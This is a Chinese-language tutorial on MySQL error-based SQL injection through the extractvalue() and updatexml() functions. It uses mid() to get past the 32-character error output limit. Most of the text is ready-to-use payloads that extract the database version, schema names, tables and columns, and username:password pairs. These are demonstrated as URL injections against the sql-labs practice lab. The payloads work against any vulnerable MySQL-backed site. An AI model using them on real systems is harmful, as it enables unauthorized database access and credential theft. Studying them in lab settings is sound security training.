MYSQL Extractvalue 报错注入
- Extractvalue() 函数 使用XPath表示法从XML字符串中提取值
- 参数
xml_frag
,xpath_expr
- xml_frag: 目标xml文档
- xpath_expr: 利用Xpath路径法表示的查找路径
- 报错原理:Xpath格式语法书写错误的话,就会报错
例如
SELECT extractvalue('<a><b>x</b><b>y</b></a>','/a/b') as result
查询结果为
result |
---|
x y |
如果第二个参数书写错误
SELECT extractvalue('<a><b>x</b><b>y</b></a>','#username') as result
报错如下
-- SELECT * from users WHERE id = 1 and extractvalue(1,mid(concat(0x23,(SELECT GROUP_CONCAT(username,':',`password`) from users),0x23),159,32))
SELECT extractvalue('<a><b>x</b><b>y</b></a>','#username') as result
> 1105 - XPATH syntax error: '#username'
> 时间: 0.001s
利用此特性可以实现报错注入
由于此报错注入和updatexml都只能爆最大32位,如果要爆出32位之后的数据,需要借助mid函数进行字符截取从而显示32位以后的数据
mid函数
参数 | 描述 |
---|---|
column_name | 必需。要提取字符的字段 |
start | 必需。开始位置 |
length | 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本 |
SQL语句
- 爆库等相关信息
SELECT * from users WHERE id = 1 and
extractvalue(1,
mid(concat_ws(0x23,0x23,version(),user(),database(),@@version_compile_os,0x23),9,32))
- 爆库
SELECT * from users WHERE id = 1 and
extractvalue(1,
mid(concat(0x23,
(SELECT group_concat(schema_name) from information_schema.SCHEMATA),
0x23),50,32))
- 爆表
SELECT * from users WHERE id = 1 and
extractvalue(1,
mid(concat(0x23,
(SELECT group_concat(table_name) from information_schema.tables where table_schema = database()),
0x23),1,32))
- 爆列
SELECT * from users WHERE id = 1 and
extractvalue(1,
mid(concat(0x23,
(SELECT group_concat(COLUMN_NAME) from information_schema.`COLUMNS` where table_name = 'users'),
0x23),1,32))
- 爆字段
SELECT * from users WHERE id = 1 and
extractvalue(1,
mid(concat(0x23,
(SELECT GROUP_CONCAT(username,':',`password`) from users),
0x23),1,32))
sql-labs 演示
- 爆关键信息
http://192.168.1.101/Less-1/?id=1' and
extractvalue(1,
concat_ws(0x23,0x23,version(),user(),database(),@@version_compile_os)
)%23
- 爆库
http://192.168.1.101/Less-1/?id=1'
and extractvalue(1,
mid(concat(0x23,
(SELECT group_concat(schema_name) from information_schema.SCHEMATA),
0x23),1,32))--+
- 爆表
http://192.168.1.101/Less-1/?id=1'
and extractvalue(1,
mid(concat(0x23,(SELECT group_concat(table_name) from information_schema.tables where table_schema = database())
,0x23),1,32))--+
- 爆列
http://192.168.1.101/Less-1/?id=1' and
extractvalue(1,
mid(concat(0x23,
(SELECT group_concat(COLUMN_NAME) from information_schema.`COLUMNS` where table_name = 'users'),
0x23),1,32))--+
- 爆字段
http://192.168.1.101/Less-1/?id=1' and
extractvalue(1,
mid(concat(0x23,
(SELECT GROUP_CONCAT(username,':',`password`) from users),
0x23),1,32))--+
MYSQL UpdateXML报错注入
- UpdateXml() 函数 返回替换的XML片段
- 参数
XML_document
,XPath_String
,new_value
- XML_document 是string 格式,为XML文档对象的名称
- XPath_String Xpath 格式的字符串
- new_value ,String 格式,替换查找到的符合条件的数据
- 报错原理,同extractValue,构造错误的Xpath,以达到报错注入
- payload:
updatexml(1,concat(0x23,payload,0x23),1)